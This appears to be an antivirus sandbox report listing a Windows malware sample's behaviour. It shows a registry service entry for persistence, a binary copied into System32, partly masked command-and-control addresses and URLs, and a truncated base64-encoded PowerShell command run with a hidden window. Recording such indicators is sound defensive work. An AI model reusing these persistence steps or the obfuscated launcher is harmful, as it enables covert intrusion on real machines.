Technical Information
- [<HKLM>\System\CurrentControlSet\Services\mfc42u] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mfc42u] 'ImagePath' = '"<SYSTEM32>\KBDRO\mfc42u.exe"'
- 'mfc42u' "<SYSTEM32>\KBDRO\mfc42u.exe"
- 'mfc42u' <SYSTEM32>\KBDRO\mfc42u.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAHkAcgBoAGYAeABlAD0AKAAnAE4AdwAnACsAKAAnAGwAdABmAGsAJwArACcAMQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAEUAcgBQAFIATwBmAEkATABlAFwAbgBxAFQAOQBMAH...
- %HOMEPATH%\nqt9lxd\sg4dzey\hxvb09a.exe
- <SYSTEM32>\kbdro\mfc42u.exe
- from %HOMEPATH%\nqt9lxd\sg4dzey\hxvb09a.exe to <SYSTEM32>\kbdro\mfc42u.exe
- '50.##1.220.50':80
- '51.##.33.122':80
- '54.#7.42.48':8080
- http://pt###sic.com/thumbs/TN/
- http://54.##.42.48:8080/F2cDQuChmasvB4RQxK/ via 54.#7.42.48
- DNS ASK pt###sic.com
- '%HOMEPATH%\nqt9lxd\sg4dzey\hxvb09a.exe'
- '<SYSTEM32>\kbdro\mfc42u.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABOAHkAcgBoAGYAeABlAD0AKAAnAE4AdwAnACsAKAAnAGwAdABmAGsAJwArACcAMQAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBTAEUAcgBQAFIATwBmAEkATABlAFwAbgBxAFQAOQBMAH...' (with hidden window)